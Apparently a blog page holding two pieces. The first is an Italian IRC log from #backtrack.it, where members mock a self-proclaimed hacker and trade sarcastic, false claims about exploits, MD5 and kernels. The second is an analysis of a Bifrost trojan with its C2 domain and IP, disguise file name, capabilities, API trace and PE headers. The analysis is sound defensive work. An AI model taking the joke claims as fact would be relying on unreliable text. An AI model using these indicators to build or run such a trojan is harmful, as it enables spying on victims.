15:02 aliceinwire giusto GOLDMAN non andare in giro a fare casino nelle rete
15:02 aliceinwire reti
15:03 aliceinwire qua siamo tutti professionali
15:03 aliceinwire infatti la legge dice che devi avvisarli 1 mese prima se non sbaglio
15:04 aliceinwire l 'ethical hacker dovrebbe fare cosi no ?
15:04 BtSmarto yep
15:04 GOLDMAN io ho gia testato di ethical hacker
15:04 @keeley e chi telo ha rilasciato GOLDMAN ?
15:05 aliceinwire l ho sentito dire nei video dei cat !
15:05 GOLDMAN lo ho fatto in francia
15:05 aliceinwire in francia non vale
15:05 @keeley e chi telo ha rilasciato?
15:05 aliceinwire io ho l attestato di pentesting l ho fatto in etiopia
15:06 Kerd ma ci sono attestati di ethical hacker ?
15:06 @keeley qui abbiamo esponenti francesi...
15:06 @keeley si Kerd
15:06 @keeley a livello internazionale ci sono
15:06 aliceinwire si Kerd
15:06 BtSmarto a me l'hanno fatto a palermo ... e a napoli
15:06 Kerd chi rilascia questi attestati ?
15:06 aliceinwire ci stanno quelli della mediaservice.net in italia
15:06 GOLDMAN xk in francia non vale
15:06 aliceinwire vai a farci in salto kerd
15:06 GOLDMAN che te ha detto
15:06 aliceinwire io voglio prendermene qualcuno appena ho soldi
15:07 ee R00T_ATI [n=ihteam_n@93-41-147-96.ip82.fastwebnet.it] has joined #backtrack.it
15:07 aliceinwire dicci il nome del certificato che hai GOLDMAN
15:07 @keeley su vogliamo un nome... basta che lo leggi sul certificato... :D
15:08 @keeley si chiama ethical lamer?
15:08 aliceinwire ahahah
15:08 BtSmarto mandatemelo giù in sicilia lo faccio confessare.
15:08 BtSmarto hai capitooo
15:08 @keeley quello celo hanno intanti che sono venuti qui ma sono andati via..
15:08 BtSmarto XD hahahaaha
15:08 aliceinwire OEL = Open Ethical Lamer
15:08 GOLDMAN ho pagatto 2500 Certified Ethical Hacker
15:08 Kerd si paga per questi attestati ?
15:08 aliceinwire si Kerd
15:08 BtSmarto porco
15:08 GOLDMAN si costa tanto
15:08 BtSmarto certo che si paga
15:08 Kerd ma lol
15:08 aliceinwire se fai il corso e poi il test perchè non sai un cazzo
15:09 aliceinwire paghi come GOLDMAN una sacco di euro
15:09 aliceinwire ma se lo fai da privatista paghi molto meno
15:09 Kerd non m'interessa :)
15:09 @keeley fai solo l'esame.. ma devi saperlo fare :D
15:09 Kerd con 2500 euro mi prendo un nuovo pc :)
15:09 aliceinwire sulle 250€ per quelli semplici
15:09 @keeley tanto è vero che il materiale di studio telo danno... gratis
15:09 aliceinwire e 500€ per quelli più importanti
15:10 aliceinwire si ma servono per dimostrare che conosci tutte le merde di leggi
15:10 @keeley 250 servono giusto per non essere lamer :D
15:10 Kerd ma poi valgono qualcosa questi attestati nel mondo lavorativo ?
15:10 @keeley si
15:10 @keeley se vai con ditte che si occupano nel mondo della sicurezza si
15:10 @keeley se vai in una ditta che fa tutt'altro certo non gli frega niente al datore di lavoro..
15:11 BtSmarto ragazzi vado dal falegname
15:11 @keeley è come dire hai l'attestato e vai dal falegname quello ti dice... ci faccio la cornice?
15:11 GOLDMAN si tanto io lavoro adesso con 12 aziendi della sicurezza in marocco e arab saudit e dubai
15:11 BtSmarto mi vado a fare un case traforato in noce massello
15:11 @keeley facci i nomi :D
15:11 GOLDMAN sono privacy
15:12 aliceinwire GOLDMAN, sei andato a letto con berlusconi ?
15:12 @keeley se lavori con loro nella sicurezza dovresti ben sapere che bisogna essere autorizzato per fare i test.. e fino a dove...
15:12 @keeley e poi nn ci hai detto il nome della certificazione...
15:12 @keeley chi tela ha fatta???
15:13 GOLDMAN ho fatto cosi con vuoi solo per farmi entrari in discorso con vuoi
15:13 BtSmarto allora sei pirla
15:13 fiox lol
15:14 GOLDMAN grazie vedi sei un male educato
15:14 @keeley questo è come farsi inculare, perdere credibilità all'istante
15:14 BtSmarto no perchè non c'è bisogno di sparare cazzate
15:14 BtSmarto x conversare con noi
15:15 GOLDMAN lo so ma non so nessuno con vuoi
15:15 @keeley ma tu pensi che noi siamo coglioni e crediamo a tutto quello che uno dice?
15:15 aliceinwire "male educato" ahahahahahahahahahahah
15:15 BtSmarto si sono un porco schifoso
15:16 BtSmarto ma mica coglione
15:16 GOLDMAN grazie
15:16 ee R00T_ATI_Portati [n=ihteam@93-41-147-96.ip82.fastwebnet.it] has quit [Read error: 60 (Operation timed out)]
15:16 GOLDMAN di tutto
15:16 BtSmarto ma che de che
15:17 GOLDMAN non pensavo che vuoi italiani cosi
15:17 BtSmarto noi se tu hai bisogno di aiuto siamo disposti a dartelo
15:17 BtSmarto ma se ci racconti cose non credibili c facciamo solo due risate
15:18 GOLDMAN ok quanti cifri ci sono in md5
15:18 GOLDMAN hhhhhhhhhhhhhhhhh
15:18 GOLDMAN nessuno sa ???
15:19 BtSmarto aspe stiamo contando
15:19 GOLDMAN in google hhhhhhhhhhhhhhhhhhhhhh
15:21 @keeley GOLDMAN: quanti anni hai?
15:21 GOLDMAN 19 anni
15:21 @keeley e pure dalla linea mobile ci sei venuto qui XD
15:22 GOLDMAN non ho capito ?? scusa nessuno rispondi alla mia domanda
15:22 BtSmarto GOLDMAN di dove sei?
15:23 ee crossobowerro [n=geek@host136-183-dynamic.12-79-r.retail.telecomitalia.it] has joined #backtrack.it
15:23 crossobowerro Hohoho, sono entrato
15:23 BtSmarto ciao cross
15:23 BtSmarto finalmente
15:23 @keeley ma che domanda fai GOLDMAN ?
15:23 GOLDMAN sono dal marocco
15:23 crossobowerro cosa bisogna fare per entrare
15:23 ee aliceinwire [n=aliceinw@unaffiliated/aliceinwire] has quit ["Ex-Chat"]
15:23 ee Pat613 [n=aaa@dynamic-adsl-94-38-34-248.clienti.tiscali.it] has joined #backtrack.it
15:23 @keeley Pat613:
15:24 crossobowerro sono bannato in un modo strano, non riuscivo piu' ad entrare... :)
15:24 Pat613 ciao a tutti
15:24 crossobowerro ciao a tutti quanti, comunque
15:24 Pat613 ciao keeley
15:24 Pat613 ciao cross
15:24 Pat613 (posso abbraviare vè?)
15:24 ee crossobowerro is now known as crossbower
15:24 BtSmarto ciao Pat613
15:24 @keeley Pat613: invece è un hard hacker uno di quelli vecchio stampo.. :D
15:24 ee aliceinwire [n=aliceinw@host213-45-dynamic.45-79-r.retail.telecomitalia.it] has joined #backtrack.it
15:25 Pat613 ahuhua
15:25 Pat613 io sono per le cose fisiche...
15:25 Pat613 da remoto non c'è gusto
15:25 crossbower hai ragione Pat613!
15:25 @keeley ci manca jacdam
15:25 GOLDMAN non ti entra in testa ??
15:25 crossbower come te la cavi col lockpicking?
15:25 crossbower (Pat613)
15:25 @keeley ma cosa GOLDMAN su parla...
15:26 Pat613 francamente
15:26 Pat613 nn ho mai scassinato cose
15:26 Pat613 fin'ora le portel 'ho sempre trovate aperte
15:27 GOLDMAN io ho fatto una domanda e sei capaci di rispondere
15:27 crossbower e, be. Sei come nmap :)
15:27 @keeley che domanda???
15:27 GOLDMAN ??
15:27 Pat613 ehehe
15:27 crossbower che domanda?
15:27 @keeley quante cifre ha md5....
15:27 Pat613 si
15:27 @keeley ma sai almeno a che serve?
15:27 GOLDMAN quella
15:27 GOLDMAN ?
15:28 ee R00T_ATI_Portati [n=ihteam@93-41-147-96.ip82.fastwebnet.it] has joined #backtrack.it
15:28 GOLDMAN che server ??
15:28 @keeley sei tu che telo devi imparare..
15:28 @keeley e poi quale md5 parli?
15:28 GOLDMAN hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
15:28 @keeley dipende da quanti bit ha..
15:29 @keeley mica cene è uno solo :D
15:29 crossbower 32 lettere
15:29 @keeley crossbower: banale...
15:29 crossbower quello incluso in linux :P
15:29 crossbower yep, infatti
15:29 GOLDMAN crossssssssssssssssssss sei l'unco che devo darlo un rispetto qui
15:29 crossbower ci vuole una domanda con profondi risvolti
15:29 GOLDMAN bravo
15:29 Pat613 devo ascppare
15:30 Pat613 a dopo gente
15:30 Pat613 ciao
15:30 crossbower ciao!
15:30 BtSmarto ciao
15:30 @keeley queste domandine da studentino appena entrato fanno ridere...
15:30 @keeley pià che altro impara ad usare google!
15:30 crossbower GOLDMAN, sei nuovo del chan? di cosa ti occupi?
15:31 GOLDMAN hhhhhhhhhhhhhhhhhhhhhh che non sa rispondere fa sempre cosi
15:31 BtSmarto de frottole
15:31 crossbower (certificazioni, referenze e various stuff...)
15:31 BtSmarto bye
15:31 GOLDMAN si cross sono nuovo e mi occupo di varie cosi
15:32 @keeley specifica varie...
15:32 @keeley ci interssa sempre quel varie a noi
15:32 GOLDMAN bene
15:32 aliceinwire GOLDMAN, io ti consiglio un ottimo tool
15:32 aliceinwire per fare hacking
15:32 aliceinwire netbus !
15:32 GOLDMAN scamming e spammer and pentesting e wardriving
15:33 @keeley scamming che roba è?
15:33 aliceinwire utile sopratutto per controllare reti
15:33 GOLDMAN non che roba che triva agente che non capici niente
15:34 aliceinwire scamming = fregare carte di credito
15:34 GOLDMAN alice sai installare msf in linux ??? dimmi solo commando
15:34 GOLDMAN si
15:34 @keeley se sei così furbo come ti sei dimostrato prima.. te freghi da solo :D
15:35 aliceinwire GOLDMAN, ricordati di usare il fat16 che altrimenti netbus da problemi
15:35 GOLDMAN rispondi alla mia domanda
15:35 GOLDMAN ??
15:36 @keeley metasploit?
15:36 GOLDMAN msf
15:36 aliceinwire framework
15:36 GOLDMAN non sai cosa
15:36 @keeley alice è una ricercatrice di framework
15:36 aliceinwire be è roba per bambini
15:36 @keeley ha scritto molti plugin
15:36 aliceinwire i plugin te li devi scrivere tu GOLDMAN
15:36 aliceinwire se usi troppo le cose degli altri poi diventi ceco
15:36 @keeley non gli dire la versione successiva che è meglio :D
15:37 @keeley ma nn erano le pippe?
15:37 aliceinwire cieco
15:37 GOLDMAN cross guarda ti lo giuro che nessuno di questi sa qualcosa
15:37 Spagn oddio non so usare dia, moriro'
15:37 aliceinwire si ma solo se usi il volatile di altri
15:37 crossbower GOLDMAN, tu come faresti a installare metasploit con un solo comando?
15:37 aliceinwire XD
15:38 crossbower qual'e' la risposta esatta?
15:40 crossbower ....
15:40 GOLDMAN xk il mio kernel lo modificato io con di tools e quando scarico qualcosa di internet fa unzip da solo e devo fare solo il commado di instalazioni
15:40 GOLDMAN scusa x ritardo
15:40 +m7x GOLDMAN, cosa fumi??
15:41 GOLDMAN no fumo
15:41 aliceinwire "l'ho" porco dio
15:41 aliceinwire litaliano
15:42 aliceinwire a forza di stare in questo chan sto imparando a bestemmiare almeno a qualcosa serve :)
15:42 GOLDMAN .............
15:42 @keeley no aliceinwire mo bestemmi pure tu :D
15:43 @keeley ma dicci GOLDMAN che OS usi?
15:44 @keeley che versione del kernel hai compilato?=??
15:44 @keeley che a me piace sempre compilarmi il kernel da solo..
15:44 GOLDMAN kernel 2.6
15:44 @keeley si ma quale.. 2.6 è generico
15:44 crossbower hai provato il 2.8.1.2 sperimentale?
15:44 GOLDMAN no
15:44 crossbower ha un sacco di features in piu'
15:45 @keeley si ma solo uno serio lo può mettere..
15:45 @keeley non è facile da compilare..
15:45 GOLDMAN questo il kernel che usato 2.6.31.1
15:46 GOLDMAN usati bsd ???
15:46 crossbower come?
15:46 @keeley che OS hai???
15:47 watakushi wow ma èuna gara a chi ce l'ha più lungo? :)
15:48 GOLDMAN adesso uso windows xp pero uso vmware con freebsd 7 e backtrack 3 e il mio linux oujuba
15:48 crossbower oujuba?
15:48 @keeley windows xp.... xD
15:48 @keeley ma metti gentoo
15:49 ee crossbower [n=geek@host136-183-dynamic.12-79-r.retail.telecomitalia.it] has left #backtrack.it []
15:49 ee crossbower [n=geek@host136-183-dynamic.12-79-r.retail.telecomitalia.it] has joined #backtrack.it
15:49 ee mode/#backtrack.it [+v crossbower] by ChanServ
15:49 GOLDMAN e un linux arabo lo fatto io
15:50 @keeley che hai fatto???
15:50 @keeley narra...
15:50 Spagn qualcosa di migliore di dia?
15:50 aliceinwire il mio strap on è sicuramente più lungo del vostro vostro !
15:51 GOLDMAN ho fatto linux in arabo
15:51 +crossbower c'e' un sito?
15:51 @keeley hai caricato le lingue...
15:51 +crossbower si puo' scaricare?
15:51 Spagn un linux arabo?
15:51 Spagn 4tino
15:51 Spagn come se ci volesse tanto a caricare utf8 e supporto lingue
15:51 Spagn fortino da vvero
15:51 aliceinwire windows xp LOL
15:51 aliceinwire e vmware ahahahaha
15:52 GOLDMAN alice benvenuto in mio pc si vuoi
15:52 GOLDMAN ok
15:52 aliceinwire ha usato il apcchetto per fare le distro con poca fatica non mi ricordo il nome
15:52 GOLDMAN tutti porti aperti
15:52 aliceinwire GOLDMAN, che ?
15:53 Spagn mi serve visio
15:53 aliceinwire dici da questo ip GOLDMAN ? net-93-65-104-172.cust.dsl.vodafone.it
15:54 GOLDMAN si il mio
15:54 @keeley e che ci facciamo?
15:54 fiox lol
15:54 GOLDMAN provati a entrare
15:55 fiox è una sfida mi sa
15:55 fiox ghgh
15:55 aliceinwire come ti trovi a milano GOLDMAN ?
15:55 aliceinwire è una bella città ?
15:55 GOLDMAN sono da rovigo
15:55 GOLDMAN bella
5:55 aliceinwire be da quelle parti
15:55 aliceinwire non ho ancora l accesso ai satelliti militari sai com'è
15:56 aliceinwire mi limito a triangolazioni di traceroute
15:56 GOLDMAN i root server di vodafone
15:56 @keeley aliceinwire: hai visto quel inject sul sito del "monastero" ceh forte... gli si è defacciata tutta la pagina di accesso e da le password
15:56 aliceinwire ahahah
15:56 GOLDMAN hhhhhhhhhhhhhhhhhhhhhhhhhhh
15:56 GOLDMAN allora nessuno
15:56 aliceinwire vero ma con l exploit che ti ho dato ?
15:56 @brigante ragazzi, please
15:56 @keeley si
15:57 aliceinwire cavoli allora era davvero uno 0day
15:57 GOLDMAN volete che provo io
15:57 Spagn sisi fate i galli, non vedo l'ora che vi arrivino a casa :D
15:57 +crossbower allora ragazzi, é meglio che non parliamo di queste cose qui
15:57 +crossbower é roba top-secret
15:57 @keeley ciai ragione cross.. :D
15:57 +crossbower ultimamente anche windows7 é affetto
15:57 @keeley è un colabrodo..
15:57 aliceinwire ma in che algoritmo ti ha dato le pass ?
15:57 @keeley con quel exploit è una groviera
15:57 aliceinwire sono da decriptare ?
15:58 @keeley si in md5 a 516 bit
15:58 aliceinwire possiamo usare lo script per decifrare i md5 allora
15:58 aliceinwire quello li decifra in pochi secondi
15:58 @keeley embè D:
15:58 GOLDMAN hhhhhhhhhhhhhhhhhhhhhhh
15:58 Spagn qualcuno davvero bravo con DIA?
15:58 +crossbower e windows server 2008
15:59 aliceinwire pure con il mio centrino con 512 mb di ram ci ha messo 5 minuti a decifrarmeli tutti
16:00 aliceinwire e poi quell exploit è in python può essere eseguito anche da windows
16:00 Spagn anfami rispondete invece di trollare
16:00 +crossbower DIA non lo conosco, sorry
16:00 @keeley lascia stare DIA quello è un dos micidiale!
16:00 aliceinwire io torno a risettarmi i fake dns e i proxy altrimenti mi beccano
16:00 aliceinwire devo fare in fretta a dopo
16:01 Spagn babbe' ho capito, apetto visio e gioco con lui
16:01 Spagn dia lo sto gia' odiando
16:01 GOLDMAN alice si uss bsd cosi lavori tranq
16:02 aliceinwire ah cavoli
16:02 @keeley uss bsd e cosa è?
16:02 aliceinwire infatti
16:02 +crossbower GOLDMAN, conosci ethical hacker?
16:02 aliceinwire che la installo subito
16:03 GOLDMAN si cross ho un testato francesi
16:03 GOLDMAN keely bsd e un os
16:04 aliceinwire e perchè sono sicura con bsd ?
16:04 @keeley uss volevo sapere
16:04 @keeley perme stai più sicuro con il guanto :D
16:05 GOLDMAN nessuno ti beca e un sistima che in 10 anni ha solo un exolit
16:05 +crossbower openBSD
16:05 @keeley con bsd uno è nascosto e nessuno mi becca? sicuro?
16:06 GOLDMAN cross io uso freebsd 7
16:06 +crossbower ok
16:06 +crossbower ok
16:06 GOLDMAN quel sistima ha di tools che non puoi immaginarli
16:07 @keeley davvero.. tipo?
16:07 @keeley celo ha quello che ti fa la triangolazione con i satelliti?
16:07 ee R00T_ATI_Portati [n=ihteam@93-41-147-96.ip82.fastwebnet.it] has quit [Client Quit]
16:08 +crossbower senti, sai configurare il firewall di FreeBSD? Preferisci IPTables o PF?
16:10 GOLDMAN si cross so configurarlo e freferisco iptables
16:11 @keeley lo voglio anchio openbsd allora.. ma dimmi i tools più interessanti???
16:11 GOLDMAN keely lo sai che con bsd puoi cambiare il tuo mac adress ogni 10 second
16:11 @keeley ma no .. ma come fa???
16:12 GOLDMAN si configura prima anche cancella e log file di root quando entre e esci
16:13 @keeley con tools antiforensi?^
16:14 GOLDMAN si bello
16:14 @keeley tipo?
16:14 @keeley che comandi usi di solito??
16:14 GOLDMAN Artifact wiping
16:14 Spagn dio bono ancora a dar corda a uno che scrive cagate ogni 2x3 a caso?
16:15 @keeley Spagn: ma è uno serio dai :D
16:15 GOLDMAN spagn parli da mi ??
16:15 @keeley no no...
16:15 @keeley ha sbagliato chat.. nn ti preoccupare :D
16:16 ee Lynx51 [n=Ixion@unaffiliated/lynx51] has joined #backtrack.it
16:16 Lynx51 hola
16:16 +crossbower hola Lynx51
16:16 GOLDMAN ok
16:17 GOLDMAN cross usi free bsd ??
16:18 +crossbower si
16:18 +crossbower usavo il 7.2
16:18 GOLDMAN quale ???
16:18 +crossbower freebsd, e un po di openbsd (4.3)
16:19 GOLDMAN come li trovi ?
16:19 +crossbower buoni
16:19 +crossbower mi piace la passibilita' di usare la modalita' blackhole
16:19 +crossbower che linux non ha...
16:20 GOLDMAN e vero pero che dici proviamo a fare una modalita uguale in linux ??
16:20 @keeley guarda che con il kernel 2.8 c'è la modalità blackhand!!!! che è simile ma è più avanzata
16:21 GOLDMAN davvero questo no lo sapevo
16:21 +crossbower GOLDMAN, non so, é un lavoro molto lungo
16:22 GOLDMAN lo so
16:38 GOLDMAN ragazzi devo andare via adesso stato un piacere a parlare con vuoi ciao

Bifrost Debug

2009-10-02T06:42:00.000-07:00

Questo trojan è stato creato con Bifrost famoso tool per gestire il trojan bifrost
facendo una panoramica su questo server:
Nome del file: photo15_jpg.exe #cerca di confondersi come file jpg infatti ha anche l icona di una jpg
si installa nella directory di sistema
{AEDFB120-4369-AEF1-980E-CD34535DC196}
Mutex name:
pikachu
Registry key:
system123
process name:
msnmsgr.exe.
rootkit hide process

dns: vnc-k3v.no-ip.org / 83.192.102.236 port: 8978

IP address : 83.192.102.236
IP country code: FR
IP address country: ip address flag France
IP address state: Nord-Pas-de-Calais
IP address city: Crochte
IP address latitude: 50.9333
IP address longitude: 2.3833
ISP of this IP : France Telecom
Organization: France Telecom
Host of this IP: [?]: ALille-252-1-14-236.w83-192.abo.wanadoo.fr [Whois] [Trace]
Local time in France: 2009-10-02 16:14

Host of the IP: vnc-k3v.no-ip.org
Host IP: 69.65.19.125
IP country code: US

The server builder component has the following capabilities:

* Create the server component
* Change the server component's port number and/or IP address
* Change the server component's executable name
* Change the name of the Windows registry startup entry
* Include rootkit to hide server process
* Include extensions to add features (adds 22,759 bytes to server)
* Use persistence (makes the server harder to remove from the infected system)

The client component has the following capabilities:

* Process Manager (Browse or kill running processes)
* File manager (Browse, upload, download, or delete files)
* Window Manager (Browse, close, maximize/minimize, or rename windows)
* Get system information
* Extract passwords from machine
* Keystroke logging
* Screen capture
* Webcam capture
* Desktop logoff, reboot or shutdown
* Registry editor
* Remote shell

Reports:

Code:


0009:Starting process L"Z:\\tmp\\vir\\1c23ff4a4784fa6ad8fbbe75078d68af\\malware.exe" (entryproc=0x403780)
0009:Call KERNEL32.GetModuleHandleA(00000000) ret=00401b99
0009:Call KERNEL32.GetCurrentThreadId() ret=00401adb
0009:Call KERNEL32.GetModuleHandleA(00000000) ret=004032d0
0009:Call KERNEL32.GetModuleFileNameA(00400000,0032fdc6,00000104) ret=004032d6
0009:Call ntdll.LdrLockLoaderLock(00000000,00000000,0032fcb8) ret=7b864d2a
0009:Call ntdll.LdrFindEntryForAddress(00400000,0032fcb4) ret=7b864d44
0009:Call ntdll.LdrUnlockLoaderLock(00000000,00000009) ret=7b864d9c
0009:Call KERNEL32.GetModuleFileNameA(00000000,0032fc8c,00000105) ret=00401389
0009:Call ntdll.LdrLockLoaderLock(00000000,00000000,0032fb98) ret=7b864d2a
0009:Call ntdll.LdrFindEntryForAddress(00400000,0032fb94) ret=7b864d44
0009:Call ntdll.LdrUnlockLoaderLock(00000000,00000009) ret=7b864d9c
0009:Call KERNEL32.LoadLibraryA(0011de28 "kernel32.dll") ret=0040314e
0009:Call ntdll.LdrLoadDll(00121870 L"Z:\\tmp\\vir\\1c23ff4a4784fa6ad8fbbe75078d68af;.;C:\\windows\\system32;C:\\windows\\system;C:\\windows;",00000000,0032fda8,0032fb68) ret=7b8655a7
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fdd8,00000000,0032fdd4) ret=7b865abb
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fdd8,00000000,0032fdd4) ret=7b865abb
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fdd8,00000000,0032fdd4) ret=7b865abb
0009:Call ntdll.NtQuerySystemTime(0032fde0) ret=7b8531cd
0009:Call KERNEL32.Sleep(00000096) ret=004031d5
0009:Call ntdll.NtDelayExecution(00000000,0032fdc8) ret=7b889913
0009:Call ntdll.NtQuerySystemTime(0032fde0) ret=7b8531cd
0009:Call KERNEL32.Sleep(00000096) ret=004031e3
0009:Call ntdll.NtDelayExecution(00000000,0032fdc8) ret=7b889913
0009:Call ntdll.NtQuerySystemTime(0032fde0) ret=7b8531cd
0009:Call KERNEL32.LoadLibraryA(0011de28 "kernel32.dll") ret=004033e3
0009:Call ntdll.LdrLoadDll(00121870 L"Z:\\tmp\\vir\\1c23ff4a4784fa6ad8fbbe75078d68af;.;C:\\windows\\system32;C:\\windows\\system;C:\\windows;",00000000,0032fdb8,0032fb78) ret=7b8655a7
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fde8,00000000,0032fde4) ret=7b865abb
0009:Call KERNEL32.LoadLibraryA(0011de78 "kernel32.dll") ret=0040342d
0009:Call ntdll.LdrLoadDll(00121870 L"Z:\\tmp\\vir\\1c23ff4a4784fa6ad8fbbe75078d68af;.;C:\\windows\\system32;C:\\windows\\system;C:\\windows;",00000000,0032fdb8,0032fb78) ret=7b8655a7
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fde8,00000000,0032fde4) ret=7b865abb
0009:Call KERNEL32.IsDebuggerPresent() ret=00403451
0009:Call KERNEL32.GetCommandLineA() ret=0040131c
0009:Call KERNEL32.LoadLibraryA(0011de40 "kernel32.dll") ret=00403515
0009:Call ntdll.LdrLoadDll(00121870 L"Z:\\tmp\\vir\\1c23ff4a4784fa6ad8fbbe75078d68af;.;C:\\windows\\system32;C:\\windows\\system;C:\\windows;",00000000,0032fd88,0032fb48) ret=7b8655a7
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fdb8,00000000,0032fdb4) ret=7b865abb
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fdb8,00000000,0032fdb4) ret=7b865abb
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fdb8,00000000,0032fdb4) ret=7b865abb
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fdb8,00000000,0032fdb4) ret=7b865abb
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fdb8,00000000,0032fdb4) ret=7b865abb
0009:Call ntdll.LdrGetProcedureAddress(7b820000,0032fdb8,00000000,0032fdb4) ret=7b865abb
0009:Call KERNEL32.FindResourceA(00400000,0011ddf8 "KYNC",0000000a) ret=00403608
0009:Call ntdll.LdrFindResource_U(00400000,0032fd50,00000003,0032fc8c) ret=7b88041b
0009:Call KERNEL32.SizeofResource(00400000,00409140) ret=00403618
0009:Call KERNEL32.LoadResource(00400000,00409140) ret=0040362a
0009:Call ntdll.LdrAccessResource(00400000,00409140,0032fdb8,00000000) ret=7b8819a9
0009:Call KERNEL32.LockResource(00409e54) ret=00403634
0009:Call KERNEL32.FreeResource(00409e54) ret=00403644

Memory dump:

Code:


%|`@
%x`@
%t`@
%p`@
%l`@
%h`@
%d`@
tSVW
t:VW
SVWU
C<"u1S Q<"u8S 7CF; 7CF; ]_^[ ZYYd ^[Y] YYZX SVWU ]_^[ SVWU ]_^[ SVWU -8P@ ]_^[ SVWU ]_^[ ;_^[ SVWRP Z_^[X uXJt uAJt u:Jt It1S t&J| ;_^[ =XP@ ZYYd -$P@ ZYYd ZYYd - Q@ ZYYd -$Q@ ZYYd _^[YY] SVW3 ZYYd ZYYd -(Q@ ZYYd ZYYd ZYYd UO\XOV X^NVV 1O^:\YM+NN\O]] -\OK^O:\YMO]]+ 1O^>R\OKN-YX^Ob^
R\OKN-YX^Ob^
R\OKN
@S\^_KV+VVYM/b
@S\^_KV:\Y^OM^/b
Da?XWKZ@SOa9P=OM^SYX
>O\WSXK^O:\YMO]]
ZYYd
-,Q@
registered
Xj[X
registered
registered
registered
registered
wrong serial
wrong serial
registered
registered
Xj[X
registered
registered
registered
registered
wrong serial
wrong serial
registered
registered
Xj[X
registered
registered
registered
registered
wrong serial
wrong serial
registered
registered
Xj[X
istered
registered
registered
registered
wrong serial
wrong serial
registered
ZYYd
Uh 2@
ZYYd
h'2@
UO\XOV
1O^:\YM+NN\O]]
1O^>SMU-Y_X^
=VOOZ
Uh{3@
ZYYd
C:\InsideTm\
Uho4@
ZYYd
hv4@
UO\XOV
1O^:\YM+NN\O]]
IsDebuggerPresent
Uh_6@

Code:


----------DOS_HEADER----------

[IMAGE_DOS_HEADER]
e_magic:                       0x5A4D   
e_cblp:                        0x50     
e_cp:                          0x2      
e_crlc:                        0x0      
e_cparhdr:                     0x4      
e_minalloc:                    0xF      
e_maxalloc:                    0xFFFF   
e_ss:                          0x0      
e_sp:                          0xB8     
e_csum:                        0x0      
e_ip:                          0x0      
e_cs:                          0x0      
e_lfarlc:                      0x40     
e_ovno:                        0x1A     
e_res:                        
e_oemid:                       0x0      
e_oeminfo:                     0x0      
e_res2:                       
e_lfanew:                      0x100    

----------NT_HEADERS----------

[IMAGE_NT_HEADERS]
Signature:                     0x4550   

----------FILE_HEADER----------

[IMAGE_FILE_HEADER]
Machine:                       0x14C    
NumberOfSections:              0x7      
TimeDateStamp:                 0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
PointerToSymbolTable:          0x0      
NumberOfSymbols:               0x0      
SizeOfOptionalHeader:          0xE0     
Characteristics:               0x818F   
Flags: IMAGE_FILE_LOCAL_SYMS_STRIPPED, IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_BYTES_REVERSED_LO, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LINE_NUMS_STRIPPED, IMAGE_FILE_BYTES_REVERSED_HI, IMAGE_FILE_RELOCS_STRIPPED

----------OPTIONAL_HEADER----------

[IMAGE_OPTIONAL_HEADER]
Magic:                         0x10B    
MajorLinkerVersion:            0x2      
MinorLinkerVersion:            0x19     
SizeOfCode:                    0x2A00   
SizeOfInitializedData:         0x7E00   
SizeOfUninitializedData:       0x0      
AddressOfEntryPoint:           0x3780   
BaseOfCode:                    0x1000   
BaseOfData:                    0x4000   
ImageBase:                     0x400000 
SectionAlignment:              0x1000   
FileAlignment:                 0x200    
MajorOperatingSystemVersion:   0x4      
MinorOperatingSystemVersion:   0x0      
MajorImageVersion:             0x0      
MinorImageVersion:             0x0      
MajorSubsystemVersion:         0x4      
MinorSubsystemVersion:         0x0      
Reserved1:                     0x0      
SizeOfImage:                   0x11000  
SizeOfHeaders:                 0x400    
CheckSum:                      0x0      
Subsystem:                     0x2      
DllCharacteristics:            0x0      
SizeOfStackReserve:            0x100000 
SizeOfStackCommit:             0x4000   
SizeOfHeapReserve:             0x100000 
SizeOfHeapCommit:              0x1000   
LoaderFlags:                   0x0      
NumberOfRvaAndSizes:           0x10     
DllCharacteristics:

----------PE Sections----------

[IMAGE_SECTION_HEADER]
Name:                          CODE
Misc:                          0x3000   
Misc_PhysicalAddress:          0x3000   
Misc_VirtualSize:              0x3000   
VirtualAddress:                0x1000   
SizeOfRawData:                 0x2A00   
PointerToRawData:              0x400    
PointerToRelocations:          0x0      
PointerToLinenumbers:          0x0      
NumberOfRelocations:           0x0      
NumberOfLinenumbers:           0x0      
Characteristics:               0x60000020
Flags: IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Entropy: 6.392527 (Min=0.0, Max=8.0)
MD5     hash: 335fd2b34ad6a69fc874f6f4044e5f3d
SHA-1   hash: 7f3ba1591430d7b438def8ecffb1f3e081f90066
SHA-256 hash: bbc98f05f483cfbe8403396e4806aacf40866f578f5ee4beec52dc1b51f64ead
SHA-512 hash: 173ae22005f2ace488ac3ef57f2dd8100ed0fce562c11411699ded5492c81ec124256cd644b278a7162d28b5c759dbca90b1893ecf7a3952915cb83dc1e9360b

[IMAGE_SECTION_HEADER]
Name:                          DATA
Misc:                          0x1000   
Misc_PhysicalAddress:          0x1000   
Misc_VirtualSize:              0x1000   
VirtualAddress:                0x4000   
SizeOfRawData:                 0x200    
PointerToRawData:              0x2E00   
PointerToRelocations:          0x0      
PointerToLinenumbers:          0x0      
NumberOfRelocations:           0x0      
NumberOfLinenumbers:           0x0      
Characteristics:               0xC0000040
Flags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Entropy: 1.105826 (Min=0.0, Max=8.0)
MD5     hash: b6e17bf8fb5029cb6b5cf0e61876c459
SHA-1   hash: c1fe552007fbfeab9a047524be94d0cff6abd52d
SHA-256 hash: 7900f543fa6b30155fbe4fd609577bcc21fd0025270595eae56e971e8444989a
